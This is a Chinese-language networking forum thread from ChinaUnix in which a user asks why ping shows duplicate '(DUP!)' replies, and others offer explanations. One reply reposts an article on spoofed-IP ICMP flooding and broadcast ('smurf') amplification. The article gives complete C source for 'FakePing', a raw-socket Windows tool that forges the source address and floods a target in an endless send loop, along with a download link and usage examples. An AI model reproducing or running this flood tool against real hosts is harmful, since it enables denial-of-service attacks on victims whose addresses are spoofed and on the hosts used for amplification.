免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
123下一页
最近访问板块 发新帖
查看: 18029 | 回复: 21
打印 上一主题 下一主题

关于PING的DUP!问题 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2004-12-13 20:46 |只看该作者 |倒序浏览
当ping一个地址10.1.1.60时返回:\r\n64 bytes from 10.1.1.60: icmp_seq=8 ttl=62 time=10 ms\r\n64 bytes from 10.1.1.60: icmp_seq=8 ttl=62 time=12 ms (DUP!)\r\n64 bytes from 10.1.1.60: icmp_seq=8 ttl=62 time=12 ms (DUP!)\r\n64 bytes from 10.1.1.60: icmp_seq=8 ttl=62 time=13 ms (DUP!)\r\n64 bytes from 10.1.1.60: icmp_seq=9 ttl=62 time=10 ms\r\n64 bytes from 10.1.1.60: icmp_seq=9 ttl=62 time=12 ms (DUP!)\r\n64 bytes from 10.1.1.60: icmp_seq=9 ttl=62 time=12 ms (DUP!)\r\n64 bytes from 10.1.1.60: icmp_seq=9 ttl=62 time=13 ms (DUP!)\r\n64 bytes from 10.1.1.60: icmp_seq=10 ttl=62 time=10 ms\r\n64 bytes from 10.1.1.60: icmp_seq=10 ttl=62 time=11 ms (DUP!)\r\n64 bytes from 10.1.1.60: icmp_seq=10 ttl=62 time=12 ms (DUP!)\r\n64 bytes from 10.1.1.60: icmp_seq=10 ttl=62 time=13 ms (DUP!)\r\n64 bytes from 10.1.1.60: icmp_seq=11 ttl=62 time=10 ms\r\n64 bytes from 10.1.1.60: icmp_seq=11 ttl=62 time=13 ms (DUP!)\r\n64 bytes from 10.1.1.60: icmp_seq=11 ttl=62 time=14 ms (DUP!)\r\n64 bytes from 10.1.1.60: icmp_seq=11 ttl=62 time=19 ms (DUP!)\r\n\r\n为何?

论坛徽章:
0
2 [报告]
发表于 2004-12-15 17:32 |只看该作者

关于PING的DUP!问题

我也想知道,高手解释一下啊

论坛徽章:
0
3 [报告]
发表于 2004-12-16 11:01 |只看该作者

关于PING的DUP!问题

应该是重复DUPLICATE,同一个序号的ICMP包却收到了多个回应。\r\n一般在PING网段广播地址才会出现这种情况,但你这里的地址应该不是广播地址,为什么会这样就不知道了

论坛徽章:
0
4 [报告]
发表于 2004-12-27 19:34 |只看该作者

关于PING的DUP!问题

我也明了\r\n哈哈\r\n学会了呢

论坛徽章:
0
5 [报告]
发表于 2004-12-28 10:01 |只看该作者

关于PING的DUP!问题

一般是远端交换机或HUB流量超过负载,即堵塞

论坛徽章:
0
6 [报告]
发表于 2004-12-29 08:51 |只看该作者

关于PING的DUP!问题

应该是你的网络中存在环路路由,也就是到达你ping的主机有一条以上的路由路径,一般出现在使用static route的网络环境

论坛徽章:
0
7 [报告]
发表于 2004-12-29 08:53 |只看该作者

关于PING的DUP!问题

[quote]原帖由 \"noah007\"]有俩台机子用一个IP[/quote 发表:\n\r\n\r\n不是用一个ip,应该是用一个mac...\r\n有可能搞arp欺骗来着...\r\n没让对方主机当掉...

论坛徽章:
0
8 [报告]
发表于 2005-01-06 13:38 |只看该作者

关于PING的DUP!问题

看看这篇文章可能会得到一点启示!\r\n\r\n伪装IP地址的洪水Ping攻击 (阅览 30074 次)\r\n\r\n最近不少人又来号召大家一起去Ping死什么什么网站,不过从技术上来说,无论什么拒绝服务攻击方式,都需要满足一个条件:用最少的资源换取被攻击者最大的消耗。像这样大家一起去Ping不仅是奇怪的:用最大的资源换取对方最小的伤害;也是可笑的:人民战争大概属于50多年前的行为了,在互联网时代,并不是人多就能如何如何的。 \r\n\r\n  我们今天是来说Ping的,Ping是通过发送ICMP报文(类型8代码0)探寻网络主机是否存在的一个工具,很久以前,一部分操作系统(例如win95),不能很好处理过大的Ping包,导致出现了Ping to Death的攻击方式(用大Ping包搞垮对方或者塞满网络),随着操作系统的升级,网络带宽的升级、计算机硬件的升级,目前,大Ping包基本上没有很大的攻击效果(分布式攻击除外),如果一定要使用Ping包去攻击别的主机,除非是利用TCP/IP协议的其他特性或者网络拓扑结构的缺陷放大攻击的力度(所谓正反馈) \r\n\r\n  正常情况下,Ping的流程是这样的: \r\n\r\n  主机A发送ICMP 8,0报文给主机B \r\n\r\n  主机B回送ICMp 0,0报文给主机A \r\n\r\n  因为ICMP基于无连结,所以就给了我们可乘之机,假设现在主机A伪装成主机C发送ICMP 8,0报文,结果会怎么样呢?显然,主机B会以为是主机C发送的报文而去 \r\n\r\n  回应主机C,结构如下: \r\n\r\n   伪装为主机C 错误的回复 \r\n主机A--------------------->;主机B------------------>;主机C \r\n\r\n  这种情况下,由于主机A只需要不断发送Ping报文而不需要处理返回的EchoReply,所以攻击力度成倍的增加,同时实际上主机B和主机C都是被进攻的目标,而且不会留下自己的痕迹,是一种隐蔽的一石二鸟的攻击方法。 \r\n\r\n上面的方法用SOCK_RAW伪装IP就可以轻松实现,不过即使放大了两倍,对于比较强壮的操作系统和较大的带宽,也不见得有多大的效果,难道我们又来组织运动?不好吧,还是让敌人给我们放大好了,TCP/IP中有一个概念叫做广播,所谓广播的意思是说有一个地址,任何局域网内的主机都会接收发往这个地址的报文(就像电台广播一样),要是?难道?没错!如果我们往广播地址发送一个ICMP ECHO报文(就是Ping广播地址一下),结果会得到非常多的回应,以太网内每一个允许接收广播报文的主机都会回应一个ICMP_ECHOREPLY,如果你想试验,可以在unix的机器上Ping一下你局域网的广播地址,会看到很多回应的的dup包,就是重复的应答,windows系统上不会有这样的结果,因为微软的Ping程序不对多个回应进行解包,收到第一个包以后就丢弃后面的了,同样微软的系统默认也不回应广播地址的包,所以你最好在一个大量unix主机的局域网内测试。 \r\n\r\n  说到这里,聪明的你肯定知道我想干什么了吧?嘿嘿嘿嘿,没错,当我们伪装成被攻击主机向一个广播地址发送Ping请求的时候,所有这个广播地址内的主机都会回应这个Ping请求,这样,相当于是N倍的攻击力度!(N=广播地址内回应Ping包的主机数量) \r\n  \r\n\r\n  伪装为主机C 所有广播主机都会错误的回复 \r\n主机A--------------------->;广播地址=========================>;主机C \r\n\r\n\r\n  我写了一个FakePing的工具,可以在Http://www.patching.net/shotgun/FakePing.exe下载。 \r\n\r\n  使用方法是FakePing.exe FakeIP TargetIP [PacketSize],如果TargetIP是广播地址,那么FakeIP是被攻击目标。 \r\n\r\n源码公布如下: \r\n\r\ntypedef struct _iphdr //定义IP首部 \r\n{ \r\n  unsigned char h_verlen; //4位首部长度,4位IP版本号 \r\n  unsigned char tos; //8位服务类型TOS \r\n  unsigned short total_len; //16位总长度(字节) \r\n  unsigned short ident; //16位标识 \r\n  unsigned short frag_and_flags; //3位标志位 \r\n  unsigned char ttl; //8位生存时间 TTL \r\n  unsigned char proto; //8位协议 (TCP, UDP 或其他) \r\n  unsigned short checksum; //16位IP首部校验和 \r\n  unsigned int sourceIP; //32位源IP地址 \r\n  unsigned int destIP; //32位目的IP地址 \r\n}IP_HEADER; \r\n\r\n// 定义ICMP首部 \r\ntypedef struct _ihdr \r\n{ \r\n  BYTE i_type; //8位类型 \r\n  BYTE i_code; //8位代码 \r\n  USHORT i_cksum; //16位校验和 \r\n  USHORT i_id; //识别号(一般用进程号作为识别号) \r\n  USHORT i_seq; //报文序列号 \r\n  ULONG timestamp; //时间戳 \r\n}ICMP_HEADER; \r\n\r\n//CheckSum:计算校验和的子函数 \r\nUSHORT checksum(USHORT *buffer, int size) \r\n{ \r\n  unsigned long cksum=0; \r\n  while(size >;1) \r\n   { \r\n     cksum+=*buffer++; \r\n     size -=sizeof(USHORT); \r\n   } \r\n  if(size ) \r\n   { \r\n     cksum += *(UCHAR*)buffer; \r\n   } \r\n  cksum = (cksum >;>; 16) + (cksum & 0xffff); \r\n  cksum += (cksum >;>;16); \r\n  return (USHORT)(~cksum); \r\n} \r\n\r\n//FakePing主函数 \r\nint main(int argc, char **argv) \r\n{ \r\n  int datasize,ErrorCode,counter,flag; \r\n  int TimeOut=2000, SendSEQ=0, PacketSize=32; \r\n  char SendBuf[65535]={0}; \r\n  WSADATA wsaData; \r\n  SOCKET SockRaw=(SOCKET)NULL; \r\n  struct sockaddr_in DestAddr; \r\n  IP_HEADER ip_header; \r\n  ICMP_HEADER icmp_header; \r\n  char FakeSourceIp[20],DestIp[20]; \r\n\r\n//接受命令行参数 \r\n  if (argc<3) \r\n   { \r\n     printf(\"FakePing by Shotgun\r\n\"; \r\n     printf(\" This program can do Ping-Flooding from a FakeIP\r\n\"; \r\n     printf(\" Using a BroadCast IP as the FakeIP will enhance the effect\r\n\"; \r\n     printf(\"Email:\r\n\"; \r\n     printf(\" Shotgun@Xici.Net\r\n\"; \r\n     printf(\"HomePage:\r\n\"; \r\n     printf(\" http://It.Xici.Net\r\n\"; \r\n     printf(\" http://www.Patching.Net\r\n\"; \r\n     printf(\"USAGE:\r\nFakePing.exe FakeSourceIp DestinationIp [PacketSize]\r\n\"; \r\n     printf(\"Example:\r\n\"; \r\n     printf(\" FakePing.exe 192.168.15.23 192.168.15.255\r\n\"); \r\n     printf(\" FakePing.exe 192.168.15.23 192.168.15.200 6400\r\n\"); \r\n     exit(0); \r\n   } \r\n  strcpy(FakeSourceIp,argv[1]); \r\n  strcpy(DestIp,argv[2]); \r\n  if (argc>;3) PacketSize=atoi(argv[3]); \r\n  if (PacketSize>;60000) \r\n   { \r\n     printf(\"Error! Packet size too big, must <60K\r\n\"); \r\n     exit(0); \r\n   } \r\n  printf(\"Now Fake %s Ping %s using Packet size=%d bytes\r\n\", \r\n  FakeSourceIp, DestIp, PacketSize); \r\n  printf(\" Ctrl+C to Quit\r\n\"); \r\n//初始化SOCK_RAW \r\n  if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0) \r\n   { \r\n     fprintf(stderr,\"WSAStartup failed: %d\r\n\",ErrorCode); \r\n     ExitProcess(STATUS_FAILED); \r\n   } \r\n\r\n\r\n  if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET) \r\n   { \r\n     fprintf(stderr,\"WSASocket() failed: %d\r\n\",WSAGetLastError()); \r\n     ExitProcess(STATUS_FAILED); \r\n   } \r\n  flag=TRUE; \r\n\r\n//设置IP_HDRINCL以自己填充IP首部 \r\n  ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); \r\n  if(ErrorCode==SOCKET_ERROR) \r\n   printf(\"Set IP_HDRINCL Error!\r\n\"); \r\n  __try \r\n{ \r\n\r\n//设置发送超时 \r\n  ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); \r\n  if (ErrorCode==SOCKET_ERROR) \r\n   { \r\n     fprintf(stderr,\"Failed to set send TimeOut: %d\r\n\",WSAGetLastError()); \r\n     __leave; \r\n   } \r\n  memset(&DestAddr,0,sizeof(DestAddr)); \r\n  DestAddr.sin_family=AF_INET; \r\n  DestAddr.sin_addr.s_addr=inet_addr(DestIp); \r\n\r\n//填充IP首部 \r\n  ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本号,低四位首部长度 \r\n  ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); //16位总长度(字节) \r\n  ip_header.ident=1; \r\n\r\n//16位标识 \r\n  ip_header.frag_and_flags=0; \r\n\r\n\r\n\r\n//3位标志位 \r\n  ip_header.ttl=128; \r\n\r\n//8位生存时间 TTL \r\n  ip_header.proto=IPPROTO_ICMP; \r\n\r\n//8位协议 (TCP, UDP 或其他) \r\n  ip_header.checksum=0; \r\n\r\n//16位IP首部校验和 \r\n  ip_header.sourceIP=inet_addr(FakeSourceIp); //32 \r\n\r\n位源IP地址 \r\n  ip_header.destIP=inet_addr(DestIp); \r\n\r\n//32位目的IP地址 \r\n//填充ICMP首部 \r\n  icmp_header.i_type = 8; \r\n  icmp_header.i_code = 0; \r\n  icmp_header.i_cksum = 0; \r\n  icmp_header.i_id = 2; \r\n  icmp_header.timestamp = 999; \r\n  icmp_header.i_seq=999; \r\n  memcpy(SendBuf, &icmp_header, sizeof(icmp_header)); \r\n  memset(SendBuf+sizeof(icmp_header), \'E\', PacketSize); \r\n  icmp_header.i_cksum = checksum((USHORT *)SendBuf, sizeof(icmp_header)+PacketSize); \r\n  memcpy(SendBuf,&ip_header,sizeof(ip_header)); \r\n  memcpy(SendBuf+sizeof(ip_header), &icmp_header, sizeof(icmp_header)); \r\n  memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header), \'E\', PacketSize); \r\n  memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header)+PacketSize, 0, 1); \r\n//计算发送缓冲区的大小 \r\n  datasize=sizeof(ip_header)+sizeof(icmp_header)+PacketSize; \r\n  ip_header.checksum=checksum((USHORT *)SendBuf,datasize); \r\n\r\n//填充发送缓冲区 \r\n  memcpy(SendBuf,&ip_header, sizeof(ip_header)); \r\n  while(1) \r\n   { \r\n    Sleep(100); \r\n    printf(\".\"); \r\n    for(counter=0;counter<1024;counter++) \r\n    { \r\n//发送ICMP报文 \r\n     ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,sizeof(DestAddr)); \r\n     if (ErrorCode==SOCKET_ERROR) printf(\"\r\nSend Error:%d\r\n\",GetLastError()); \r\n    } \r\n   } \r\n}//End of try \r\n\r\n __finally \r\n  { \r\n   if (SockRaw != INVALID_SOCKET) closesocket(SockRaw); \r\n   WSACleanup(); \r\n  } \r\n return 0; \r\n} \r\n\r\n  撰写本文的目的不是号召大家用FakePing工具去攻击美国站点,只是想略微展示一下用技术能做到什么蛮力做不到的东西。如果说大家一起Ping是义和团喊着“刀枪不入”去对抗大炮,FakePing也只能算得上是火枪而已,而美国已经研制出了航空母舰(一个操作系统的复杂度完全可以和航母媲美),难道用大刀、长枪、火枪去对抗航母?这样是很感人,也很悲壮,但是没有别的方法了?我们不能回去研制自己的战列舰?要是这次什么红客大战中二炮的专家们也出来参加Ping, 要是西昌的技术人员也去参加黑主页运动,我们不亡国才怪!\r\n=========================\r\n文章类型:转载

论坛徽章:
0
9 [报告]
发表于 2005-01-06 13:41 |只看该作者

关于PING的DUP!问题

我们在这里应该谢谢文章作者

论坛徽章:
0
10 [报告]
发表于 2005-01-06 18:48 |只看该作者

关于PING的DUP!问题

原帖由 \"zllovezlm\" 发表:\n当ping一个地址10.1.1.60时返回:\r\n64 bytes from 10.1.1.60: icmp_seq=8 ttl=62 time=10 ms\r\n64 bytes from 10.1.1.60: icmp_seq=8 ttl=62 time=12 ms (DUP!)\r\n64 bytes from 10.1.1.60: icmp_seq=8 ttl=62 time=12..........
\r\n\r\n你应该用嗅探器把回应包抓下来看看源MAC.
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP